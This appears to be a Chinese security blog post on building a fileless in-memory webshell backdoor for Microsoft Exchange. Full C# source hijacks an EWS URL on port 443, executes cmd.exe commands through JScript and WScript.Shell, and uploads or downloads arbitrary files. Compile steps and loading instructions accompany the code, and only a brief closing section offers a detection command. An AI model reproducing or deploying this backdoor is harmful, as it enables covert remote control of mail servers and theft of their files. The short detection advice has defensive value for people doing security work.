渗透基础——Exchange 一句话后门的进一步实现

发布于 2024-11-30 17:44:59 字数 11115 浏览 27 评论 0

0x00 前言

在之前的文章 《渗透基础——Exchange 一句话后门的实现》 和 《渗透基础——Exchange 一句话后门的扩展》 介绍了通过 Webshell 内存加载.net 程序集的方法。

如果同其他技术相结合,可以达到意想不到的效果。

本文仅在技术研究的角度点到为止,开源一份简单的测试代码,结合利用思路给出防御建议。

0x01 简介

本文将要介绍以下内容:

  • 思路启发
  • 开源代码
  • 检测方法

0x02 思路启发

1.Exchange 的端口复用

参考资料:

通过调用 HTTP API 进行端口复用,劫持 EWS 某个未被注册的端点供外部访问

这种方法可以在 Exchange 下建立一个监听器,执行提供的命令

2.通过 C Sharp 调用 JScript

参考资料:

示例代码 test1.cs 的内容如下:

using System;
namespace test
{
    public class Program
    {                   
        public static void Main(string[] args)
        {
            string code = "new ActiveXObject(\"WScript.Shell\").exec(\"cmd.exe /c whoami \").stdout.readall()";
            Microsoft.JScript.Vsa.VsaEngine vsaEngine = Microsoft.JScript.Vsa.VsaEngine.CreateEngine();
            code = System.Text.Encoding.UTF8.GetString(System.Text.Encoding.UTF8.GetBytes(code));
            object obj = Microsoft.JScript.Eval.JScriptEvaluate(code, vsaEngine);
            Console.WriteLine(obj);
        }
    }
}

编译:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:Microsoft.JScript.dll test1.cs

3.Exchange 的端口复用 + 通过 C Sharp 调用 JScript

示例代码 test2.cs 的内容如下:

using System;
using System.Web;
using System.Diagnostics;
using System.Threading;
using System.Runtime.InteropServices;
using System.Text;
using System.IO;
using System.Security.Cryptography;
using System.Net;
using System.Reflection;
using System.Collections;
using System.Collections.Generic;
using System.DirectoryServices;

namespace test
{
    public class test
    {
        static void Main(string[] args)
        {
          new Thread(Listen).Start();
        }
        static void Listen()
        {
        try
        {
            if (!HttpListener.IsSupported)
            {
                return;
            }
            HttpListener listener = new HttpListener();
            listener.Prefixes.Add("https://*:443/ews/test/");
            listener.Start();
            while (true)
            {
                HttpListenerContext context = listener.GetContext();
                HttpListenerRequest request = context.Request;
                HttpListenerResponse response = context.Response;
                Stream stm = null ;
                string cmd=request.QueryString["pass"];
                Console.WriteLine(cmd);
                if(!string.IsNullOrEmpty(cmd))
                {
                    try
                    {
                        Microsoft.JScript.Vsa.VsaEngine vsaEngine = Microsoft.JScript.Vsa.VsaEngine.CreateEngine();
                        cmd = System.Text.Encoding.ASCII.GetString(System.Text.Encoding.UTF8.GetBytes(cmd));
                        object obj = Microsoft.JScript.Eval.JScriptEvaluate(cmd, vsaEngine);
                        byte[] data = System.Text.Encoding.UTF8.GetBytes((string) obj);           
                        response.StatusCode = 200;
                        response.ContentLength64 = data.Length;
                        stm = response.OutputStream;
                        stm.Write(data, 0, data.Length);
                    }
                    catch 
                    { 
                        response.StatusCode = 404; 
                    }
                    finally
                    {
                        if(stm!=null)
                        {
                            stm.Close();
                        }
                    }
                }
                else
                {
                    response.StatusCode = 404;
                    response.OutputStream.Close();
                }

            }
        }
        catch
        {
        }
    }
    }
}

编译:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:Microsoft.JScript.dll test2.cs

以上代码通过调用 JScript 执行 cmd 命令,简单实现了 Webshell 的功能

4.内存加载.net 程序集

将以上代码按照.net 程序集的格式编译成 dll,再通过 Webshell 进行内存加载,那么就能够实现一个内存 Webshell

示例代码 tes3.cs 的内容如下:

using System;
using System.Web;
using System.Diagnostics;
using System.Threading;
using System.Runtime.InteropServices;
using System.Text;
using System.IO;
using System.Security.Cryptography;
using System.Net;
using System.Reflection;
using System.Collections;
using System.Collections.Generic;
using System.DirectoryServices;

namespace EWS.TEST.BACKDOOR
{
    public class TEST
    {
        static void Main(string[] args)
        {
          new Thread(Listen).Start();
        }
        static void Listen()
        {
            try
            {
                if (!HttpListener.IsSupported)
                {
                    return;
                }
                HttpListener listener = new HttpListener();
                listener.Prefixes.Add("https://*:443/ews/test/");
                listener.Start();
                while (true)
                {
                    HttpListenerContext context = listener.GetContext();
                    HttpListenerRequest request = context.Request;
                    HttpListenerResponse response = context.Response;
                    Stream stm = null ;
                    string cmd = request.QueryString["cmd"];
                    string upload = request.QueryString["upload"];
                    string path = request.QueryString["path"];
                    string download = request.QueryString["download"];                          
                    if(string.IsNullOrEmpty(cmd) && string.IsNullOrEmpty(upload) && string.IsNullOrEmpty(download) && string.IsNullOrEmpty(path))
                    {
                        response.StatusCode = 404;
                        response.OutputStream.Close();
                    }
                    else
                    {
                        if(!string.IsNullOrEmpty(upload) && !string.IsNullOrEmpty(path))
                        {
                            byte[] temp = Convert.FromBase64String(path);
                            path = System.Text.Encoding.ASCII.GetString(temp);
                            byte[] data = Convert.FromBase64String(upload);
                            FileStream fs = new FileStream(path, FileMode.Create);
                            fs.Write(data, 0, data.Length);
                            fs.Flush();
                            fs.Close();
                            response.StatusCode = 200;
                            response.OutputStream.Close(); 
                        }
                        else if(!string.IsNullOrEmpty(download))
                        {
                            byte[] temp = Convert.FromBase64String(download);
                            download = System.Text.Encoding.ASCII.GetString(temp);
                            byte[] buffer = System.IO.File.ReadAllBytes(download);
                            string base64str = Convert.ToBase64String(buffer);
                            byte[] data = System.Text.Encoding.UTF8.GetBytes(base64str);
                            response.StatusCode = 200;
                            response.ContentLength64 = data.Length;
                            stm = response.OutputStream;
                            stm.Write(data, 0, data.Length);
                        }
                        else if(!string.IsNullOrEmpty(cmd))
                        {
                            string code = "new ActiveXObject(\"WScript.Shell\").exec(\"cmd.exe /c " + cmd + "\").stdout.readall()";
                            try
                            {
                                Microsoft.JScript.Vsa.VsaEngine vsaEngine = Microsoft.JScript.Vsa.VsaEngine.CreateEngine();
                                code = System.Text.Encoding.ASCII.GetString(System.Text.Encoding.UTF8.GetBytes(code));
                                object obj = Microsoft.JScript.Eval.JScriptEvaluate(code, vsaEngine);
                                byte[] data = System.Text.Encoding.UTF8.GetBytes((string) obj);           
                                response.StatusCode = 200;
                                response.ContentLength64 = data.Length;
                                stm = response.OutputStream;
                                stm.Write(data, 0, data.Length);
                            }
                            catch 
                            { 
                                response.StatusCode = 404; 
                            }
                            finally
                            {
                                if(stm!=null)
                                {
                                    stm.Close();
                                }
                            }
                        }
                        else
                        {
                            response.StatusCode = 404;
                            response.OutputStream.Close();
                        }
                    }             
                }
            }
            catch
            {
            }
        }
    }
}

编译:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /r:Microsoft.JScript.dll test3.cs

生成的 test3.dll 即为实现内存 Webshell 的 Payload 数据,支持命令执行,文件上传和下载

0x03 检测方法

这种内存 Webshell 不需要文件落地,会写入进程内存,无法调用 Assembly.UnLoad 清除,只能重启 Exchange

检测方法:根据 Assembly.Load 的内存特性进行检查

检测命令:

powershell -ep bypass -c "Import-Module ./Get-ClrReflection.ps1;Get-ClrReflection"

0x04 小结

本文介绍了 Exchange 内存 Webshell 的实现思路,给出防御检测的建议。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

文章
评论
27 人气
更多

推荐作者

櫻之舞

文章 0 评论 0

弥枳

文章 0 评论 0

m2429

文章 0 评论 0

野却迷人

文章 0 评论 0

我怀念的。

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文